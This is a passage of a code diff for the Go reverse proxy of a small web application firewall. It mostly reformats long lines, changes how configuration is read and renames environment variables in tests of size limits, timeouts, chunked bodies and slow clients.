w.status = http.StatusSwitchingProtocols
|
w.status = http.StatusSwitchingProtocols
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -83,7 +83,11 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
|
|||||||
// X-Forwarded-For. Those of any other peer are its own claims and are replaced:
|
// X-Forwarded-For. Those of any other peer are its own claims and are replaced:
|
||||||
// X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
|
// X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
|
||||||
// X-Forwarded-Proto plain http, which is how it reached rproxy.
|
// X-Forwarded-Proto plain http, which is how it reached rproxy.
|
||||||
func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
|
func setForwardedHeaders(
|
||||||
|
in, out *http.Request,
|
||||||
|
peer netip.Addr,
|
||||||
|
trusted bool,
|
||||||
|
) {
|
||||||
forwardedFor := peer.String()
|
forwardedFor := peer.String()
|
||||||
|
|
||||||
if trusted {
|
if trusted {
|
||||||
|
|||||||
+258
-79
@@ -17,7 +17,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
@@ -35,9 +34,15 @@ func announcedLength(size int) string {
|
|||||||
func TestServerHasTheFixedLimits(t *testing.T) {
|
func TestServerHasTheFixedLimits(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(configtest.Viper(map[string]string{
|
cfg, err := config.RProxyFromEnvironment(
|
||||||
"SWW_RPROXY_WAF_BACKEND": nowhere,
|
func(name string) (string, bool) {
|
||||||
}))
|
if name == "SWRP_WAF_BACKEND" {
|
||||||
|
return nowhere, true
|
||||||
|
}
|
||||||
|
|
||||||
|
return "", false
|
||||||
|
},
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings: %v", err)
|
t.Fatalf("settings: %v", err)
|
||||||
}
|
}
|
||||||
@@ -45,14 +50,23 @@ func TestServerHasTheFixedLimits(t *testing.T) {
|
|||||||
server := rproxy.New(rproxy.Params{
|
server := rproxy.New(rproxy.Params{
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
RequestLog: io.Discard,
|
RequestLog: io.Discard,
|
||||||
ProcessLog: requestlog.NewProcessLogger(io.Discard, "test", slog.LevelInfo),
|
ProcessLog: requestlog.NewProcessLogger(
|
||||||
|
io.Discard,
|
||||||
|
"test",
|
||||||
|
slog.LevelInfo,
|
||||||
|
),
|
||||||
})
|
})
|
||||||
|
|
||||||
if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
|
if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
|
||||||
server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
|
server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
|
||||||
t.Errorf("server listens on %q with header limit %d, idle time %s and "+
|
t.Errorf(
|
||||||
"header timeout %s", server.Addr, server.MaxHeaderBytes,
|
"server listens on %q with header limit %d, idle time %s and "+
|
||||||
server.IdleTimeout, server.ReadHeaderTimeout)
|
"header timeout %s",
|
||||||
|
server.Addr,
|
||||||
|
server.MaxHeaderBytes,
|
||||||
|
server.IdleTimeout,
|
||||||
|
server.ReadHeaderTimeout,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -73,9 +87,14 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
t.Error("the app was asked")
|
t.Error("the app was asked")
|
||||||
})
|
})
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, _ := startRProxy(
|
||||||
maxRequestSize: tc.limit,
|
t,
|
||||||
})
|
standIn.URL,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
maxRequestSize: tc.limit,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||||
bytes.NewReader(make([]byte, tc.size))))
|
bytes.NewReader(make([]byte, tc.size))))
|
||||||
@@ -84,7 +103,11 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
||||||
t.Errorf("the question carries %d bytes, want %d", len(asked.body), tc.asked)
|
t.Errorf(
|
||||||
|
"the question carries %d bytes, want %d",
|
||||||
|
len(asked.body),
|
||||||
|
tc.asked,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
report := standIn.report(t)
|
report := standIn.report(t)
|
||||||
@@ -135,13 +158,21 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
|||||||
asked.Store(true)
|
asked.Store(true)
|
||||||
greet(w, r)
|
greet(w, r)
|
||||||
})
|
})
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, _ := startRProxy(
|
||||||
maxRequestSize: tc.limit,
|
t,
|
||||||
})
|
standIn.URL,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
maxRequestSize: tc.limit,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
conn := dial(t, addr)
|
conn := dial(t, addr)
|
||||||
send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+
|
send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+
|
||||||
strconv.FormatInt(int64(tc.size), 16)+"\r\n"+strings.Repeat("x", tc.size)+
|
strconv.FormatInt(
|
||||||
|
int64(tc.size),
|
||||||
|
16,
|
||||||
|
)+"\r\n"+strings.Repeat("x", tc.size)+
|
||||||
"\r\n0\r\n\r\n")
|
"\r\n0\r\n\r\n")
|
||||||
|
|
||||||
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
|
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
|
||||||
@@ -200,17 +231,26 @@ func TestAResponseOverItsLimit(t *testing.T) {
|
|||||||
|
|
||||||
text, err := io.ReadAll(conn)
|
text, err := io.ReadAll(conn)
|
||||||
if err != nil || bytes.Contains(text, []byte(large)) {
|
if err != nil || bytes.Contains(text, []byte(large)) {
|
||||||
t.Errorf("read %d bytes (%v), want the answer cut off", len(text), err)
|
t.Errorf(
|
||||||
|
"read %d bytes (%v), want the answer cut off",
|
||||||
|
len(text),
|
||||||
|
err,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
report := standIn.report(t)
|
report := standIn.report(t)
|
||||||
if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 {
|
if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 {
|
||||||
t.Errorf("report %+v, want status 200 and at most 1K of the answer", report)
|
t.Errorf(
|
||||||
|
"report %+v, want status 200 and at most 1K of the answer",
|
||||||
|
report,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.T) {
|
func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const announced = "2048"
|
const announced = "2048"
|
||||||
@@ -224,8 +264,13 @@ func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.
|
|||||||
})
|
})
|
||||||
|
|
||||||
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
|
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
|
||||||
if got.status != http.StatusOK || got.header.Get(contentLengthHeader) != announced {
|
if got.status != http.StatusOK ||
|
||||||
t.Errorf("answered %+v, want the app's 200 announcing %s bytes", got, announced)
|
got.header.Get(contentLengthHeader) != announced {
|
||||||
|
t.Errorf(
|
||||||
|
"answered %+v, want the app's 200 announcing %s bytes",
|
||||||
|
got,
|
||||||
|
announced,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -240,14 +285,22 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, _ := startRProxy(
|
||||||
setting: "off",
|
t,
|
||||||
})
|
standIn.URL,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
setting: "off",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
// A body and an answer that a limit of zero would cut off, as it would the
|
// A body and an answer that a limit of zero would cut off, as it would the
|
||||||
// next answer, which rproxy gives itself.
|
// next answer, which rproxy gives itself.
|
||||||
wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/",
|
wantGreeting(
|
||||||
strings.NewReader("a body"))))
|
t,
|
||||||
|
visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||||
|
strings.NewReader("a body"))),
|
||||||
|
)
|
||||||
|
|
||||||
if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK {
|
if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK {
|
||||||
t.Errorf("answered %+v, want rproxy's own 200", got)
|
t.Errorf("answered %+v, want rproxy's own 200", got)
|
||||||
@@ -270,9 +323,14 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, out := startRProxy(
|
||||||
maxRequestTime: "500",
|
t,
|
||||||
})
|
standIn.URL,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
maxRequestTime: "500",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
conn := dial(t, addr)
|
conn := dial(t, addr)
|
||||||
send(t, conn, post+tc.rest)
|
send(t, conn, post+tc.rest)
|
||||||
@@ -316,7 +374,9 @@ func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
|
func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -353,8 +413,11 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
|
|||||||
|
|
||||||
text, err := io.ReadAll(conn)
|
text, err := io.ReadAll(conn)
|
||||||
if err != nil || len(text) != 0 {
|
if err != nil || len(text) != 0 {
|
||||||
t.Errorf("read %q (%v), want the connection closed without an answer",
|
t.Errorf(
|
||||||
text, err)
|
"read %q (%v), want the connection closed without an answer",
|
||||||
|
text,
|
||||||
|
err,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
@@ -399,7 +462,8 @@ func (w *deadlineRecorder) FlushError() error {
|
|||||||
func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
|
func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
|
||||||
w.readDeadline = deadline
|
w.readDeadline = deadline
|
||||||
|
|
||||||
if w.stalled != nil && !deadline.IsZero() && !deadline.After(time.Now()) {
|
if w.stalled != nil && !deadline.IsZero() &&
|
||||||
|
!deadline.After(time.Now()) {
|
||||||
_ = w.stalled.CloseWithError(os.ErrDeadlineExceeded)
|
_ = w.stalled.CloseWithError(os.ErrDeadlineExceeded)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -436,12 +500,22 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
|
|||||||
|
|
||||||
t.Cleanup(func() { _ = stop.Close() })
|
t.Cleanup(func() { _ = stop.Close() })
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
|
req := httptest.NewRequestWithContext(
|
||||||
io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
|
t.Context(),
|
||||||
|
http.MethodPost,
|
||||||
|
"/",
|
||||||
|
io.MultiReader(
|
||||||
|
bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
|
||||||
|
stalled,
|
||||||
|
),
|
||||||
|
)
|
||||||
req.ContentLength = announced
|
req.ContentLength = announced
|
||||||
req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
|
req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
|
||||||
|
|
||||||
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder(), stalled: stop}
|
w := &deadlineRecorder{
|
||||||
|
ResponseRecorder: httptest.NewRecorder(),
|
||||||
|
stalled: stop,
|
||||||
|
}
|
||||||
|
|
||||||
before := time.Now()
|
before := time.Now()
|
||||||
|
|
||||||
@@ -453,12 +527,17 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
|
|||||||
|
|
||||||
if w.readDeadline.Before(before.Add(limit)) ||
|
if w.readDeadline.Before(before.Add(limit)) ||
|
||||||
w.readDeadline.After(time.Now().Add(limit)) {
|
w.readDeadline.After(time.Now().Add(limit)) {
|
||||||
t.Errorf("the reading of the body ends at %s, want %s from the request",
|
t.Errorf(
|
||||||
w.readDeadline, limit)
|
"the reading of the body ends at %s, want %s from the request",
|
||||||
|
w.readDeadline,
|
||||||
|
limit,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing.T) {
|
func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
@@ -470,8 +549,15 @@ func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing
|
|||||||
|
|
||||||
t.Cleanup(func() { _ = stop.Close() })
|
t.Cleanup(func() { _ = stop.Close() })
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
|
req := httptest.NewRequestWithContext(
|
||||||
io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
|
t.Context(),
|
||||||
|
http.MethodPost,
|
||||||
|
"/",
|
||||||
|
io.MultiReader(
|
||||||
|
bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
|
||||||
|
stalled,
|
||||||
|
),
|
||||||
|
)
|
||||||
req.ContentLength = 2 * questionBodyMaxBytes
|
req.ContentLength = 2 * questionBodyMaxBytes
|
||||||
req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes))
|
req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes))
|
||||||
|
|
||||||
@@ -493,7 +579,10 @@ func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing
|
|||||||
}
|
}
|
||||||
|
|
||||||
if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) {
|
if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) {
|
||||||
t.Errorf("the reading of the body ends at %s, want now", w.readDeadline)
|
t.Errorf(
|
||||||
|
"the reading of the body ends at %s, want now",
|
||||||
|
w.readDeadline,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -514,12 +603,24 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, deny)
|
standIn := startWAF(t, deny)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
|
_, _, server := startServer(
|
||||||
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
|
t,
|
||||||
})
|
standIn.URL,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
maxResponseTime: strconv.FormatInt(
|
||||||
|
limit.Milliseconds(),
|
||||||
|
10,
|
||||||
|
),
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, tc.target,
|
req := httptest.NewRequestWithContext(
|
||||||
http.NoBody)
|
t.Context(),
|
||||||
|
http.MethodGet,
|
||||||
|
tc.target,
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
|
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
|
||||||
|
|
||||||
before := time.Now()
|
before := time.Now()
|
||||||
@@ -532,14 +633,19 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
|
|||||||
|
|
||||||
if w.writeDeadline.Before(before.Add(limit)) ||
|
if w.writeDeadline.Before(before.Add(limit)) ||
|
||||||
w.writeDeadline.After(time.Now().Add(limit)) {
|
w.writeDeadline.After(time.Now().Add(limit)) {
|
||||||
t.Errorf("the time limit on sending ends at %s, want %s from the answer",
|
t.Errorf(
|
||||||
w.writeDeadline, limit)
|
"the time limit on sending ends at %s, want %s from the answer",
|
||||||
|
w.writeDeadline,
|
||||||
|
limit,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
|
func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const least = 10 * time.Second
|
const least = 10 * time.Second
|
||||||
@@ -550,7 +656,12 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
|
|||||||
maxResponseTime: "300",
|
maxResponseTime: "300",
|
||||||
})
|
})
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
req := httptest.NewRequestWithContext(
|
||||||
|
t.Context(),
|
||||||
|
http.MethodGet,
|
||||||
|
"/",
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
|
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
|
||||||
|
|
||||||
before := time.Now()
|
before := time.Now()
|
||||||
@@ -558,8 +669,11 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
|
|||||||
server.Handler.ServeHTTP(w, req)
|
server.Handler.ServeHTTP(w, req)
|
||||||
|
|
||||||
if w.writeDeadline.Before(before.Add(least)) {
|
if w.writeDeadline.Before(before.Add(least)) {
|
||||||
t.Errorf("the time limit on sending ends at %s, want %s from the answer at least",
|
t.Errorf(
|
||||||
w.writeDeadline, least)
|
"the time limit on sending ends at %s, want %s from the answer at least",
|
||||||
|
w.writeDeadline,
|
||||||
|
least,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -580,7 +694,9 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
|
|||||||
t.Errorf("status %d, want 408", status)
|
t.Errorf("status %d, want 408", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
if asked := standIn.question(t); len(asked.body) != questionBodyMaxBytes {
|
if asked := standIn.question(t); len(
|
||||||
|
asked.body,
|
||||||
|
) != questionBodyMaxBytes {
|
||||||
t.Errorf("the question carries %d bytes", len(asked.body))
|
t.Errorf("the question carries %d bytes", len(asked.body))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -594,7 +710,11 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
|
|||||||
func startAppThatTakesNothing(t *testing.T) string {
|
func startAppThatTakesNothing(t *testing.T) string {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
listener, err := (&net.ListenConfig{}).Listen(
|
||||||
|
t.Context(),
|
||||||
|
"tcp",
|
||||||
|
localhost+":0",
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -683,7 +803,9 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(t *testing.T) {
|
func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// Four visitors at a time, each with an app and rproxy of its own, send more
|
// Four visitors at a time, each with an app and rproxy of its own, send more
|
||||||
@@ -698,7 +820,7 @@ func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// visitAsTheTimeRunsOut sends requests to an app that answers about as
|
// visitAsTheTimeRunsOut sends requests to an app that answers about as
|
||||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out, and checks that each is answered with the
|
// SWRP_MAX_RESPONSE_TIME_MS runs out, and checks that each is answered with the
|
||||||
// app's 200 or a 504.
|
// app's 200 or a 504.
|
||||||
func visitAsTheTimeRunsOut(t *testing.T) {
|
func visitAsTheTimeRunsOut(t *testing.T) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
@@ -782,8 +904,13 @@ func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
|
|||||||
|
|
||||||
if res.StatusCode != http.StatusOK || string(body) != start ||
|
if res.StatusCode != http.StatusOK || string(body) != start ||
|
||||||
!errors.Is(err, io.ErrUnexpectedEOF) {
|
!errors.Is(err, io.ErrUnexpectedEOF) {
|
||||||
t.Errorf("answered %d %q (%v), want the app's 200 %q, then the connection closed",
|
t.Errorf(
|
||||||
res.StatusCode, body, err, start)
|
"answered %d %q (%v), want the app's 200 %q, then the connection closed",
|
||||||
|
res.StatusCode,
|
||||||
|
body,
|
||||||
|
err,
|
||||||
|
start,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if report := standIn.report(t); report.Status != http.StatusOK {
|
if report := standIn.report(t); report.Status != http.StatusOK {
|
||||||
@@ -824,13 +951,17 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
|
|||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
|
|
||||||
responseBytes, _ := line["response_bytes"].(float64)
|
responseBytes, _ := line["response_bytes"].(float64)
|
||||||
if line["status"] != float64(http.StatusOK) || responseBytes >= bodySize {
|
if line["status"] != float64(http.StatusOK) ||
|
||||||
|
responseBytes >= bodySize {
|
||||||
t.Errorf("line %v, want status 200 and the answer cut off", line)
|
t.Errorf("line %v, want status 200 and the answer cut off", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
report := standIn.report(t)
|
report := standIn.report(t)
|
||||||
if report.Status != http.StatusOK || report.ResponseBytes >= bodySize {
|
if report.Status != http.StatusOK || report.ResponseBytes >= bodySize {
|
||||||
t.Errorf("report %+v, want status 200 and the answer cut off", report)
|
t.Errorf(
|
||||||
|
"report %+v, want status 200 and the answer cut off",
|
||||||
|
report,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -850,7 +981,9 @@ func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) {
|
func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
@@ -934,7 +1067,9 @@ func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
|
|||||||
wantGreeting(t, readAnswer(t, conn))
|
wantGreeting(t, readAnswer(t, conn))
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.T) {
|
func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const limit = 2 * time.Second
|
const limit = 2 * time.Second
|
||||||
@@ -958,7 +1093,11 @@ func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.
|
|||||||
}
|
}
|
||||||
|
|
||||||
if closed := time.Since(start); closed < limit {
|
if closed := time.Since(start); closed < limit {
|
||||||
t.Errorf("the connection closed after %s, want %s at least", closed, limit)
|
t.Errorf(
|
||||||
|
"the connection closed after %s, want %s at least",
|
||||||
|
closed,
|
||||||
|
limit,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -989,7 +1128,8 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
|
|||||||
rc := http.NewResponseController(w)
|
rc := http.NewResponseController(w)
|
||||||
_ = rc.EnableFullDuplex()
|
_ = rc.EnableFullDuplex()
|
||||||
|
|
||||||
w.Header().Set(contentLengthHeader, strconv.Itoa(len(greeting)))
|
w.Header().
|
||||||
|
Set(contentLengthHeader, strconv.Itoa(len(greeting)))
|
||||||
|
|
||||||
for _, part := range tc.atOnce {
|
for _, part := range tc.atOnce {
|
||||||
_, _ = io.WriteString(w, part)
|
_, _ = io.WriteString(w, part)
|
||||||
@@ -1007,10 +1147,18 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
|
|||||||
})
|
})
|
||||||
|
|
||||||
// The request time limit is far longer than dial's deadline.
|
// The request time limit is far longer than dial's deadline.
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, _ := startRProxy(
|
||||||
maxRequestTime: "120000",
|
t,
|
||||||
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
|
standIn.URL,
|
||||||
})
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
maxRequestTime: "120000",
|
||||||
|
maxResponseTime: strconv.FormatInt(
|
||||||
|
limit.Milliseconds(),
|
||||||
|
10,
|
||||||
|
),
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
conn := dial(t, addr)
|
conn := dial(t, addr)
|
||||||
sendAllButALittle(t, conn)
|
sendAllButALittle(t, conn)
|
||||||
@@ -1027,7 +1175,12 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
|
|||||||
|
|
||||||
want := strings.Join(tc.atOnce, "")
|
want := strings.Join(tc.atOnce, "")
|
||||||
if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) {
|
if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) {
|
||||||
t.Errorf("read %q (%v), want %q and the connection closed", body, err, want)
|
t.Errorf(
|
||||||
|
"read %q (%v), want %q and the connection closed",
|
||||||
|
body,
|
||||||
|
err,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -1065,7 +1218,11 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
|
|||||||
|
|
||||||
text, err := io.ReadAll(conn)
|
text, err := io.ReadAll(conn)
|
||||||
if err != nil || len(text) != 0 {
|
if err != nil || len(text) != 0 {
|
||||||
t.Errorf("read %q (%v), want the connection closed without an answer", text, err)
|
t.Errorf(
|
||||||
|
